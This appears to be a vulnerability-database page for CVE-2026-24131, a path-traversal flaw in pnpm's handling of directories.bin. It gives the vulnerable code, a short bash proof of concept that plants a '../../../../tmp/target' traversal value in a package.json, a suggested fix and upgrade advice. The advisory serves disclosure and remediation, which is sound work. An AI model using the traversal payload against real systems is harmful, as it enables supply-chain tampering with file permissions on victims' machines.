CVE-2026-24131

Description

### Summary When pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `"directories": {"bin": "../../../../tmp"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. **Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). ### Details Vulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`: ```typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION const files = await findFiles(binDir) // ... files outside package returned, then chmod 755'd } ``` The `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check. ### PoC ```bash # Create malicious package mkdir /tmp/malicious-pkg echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json # Create sensitive file mkdir -p /tmp/target echo "secret" > /tmp/target/secret.sh chmod 600 /tmp/target/secret.sh # Private # Install pnpm add file:/tmp/malicious-pkg # Check permissions ls -la /tmp/target/secret.sh # Now 755 (world-readable) ``` ### Impact - Supply-chain attack via npm packages - File permissions changed from 600 to 755 (world-readable) - Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default) ### Suggested Fix Add `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`: ```typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) if (!isSubdir(pkgPath, binDir)) { return [] // Reject paths outside package } // ... } ```

How to fix CVE-2026-24131

To remediate CVE-2026-24131, upgrade the affected package to a fixed version below.

• —upgrade to 10.28.2 or later

Is CVE-2026-24131 being exploited?

Low — EPSS is 0.0%, meaning exploitation activity has not been observed at scale.

Affected packages (1)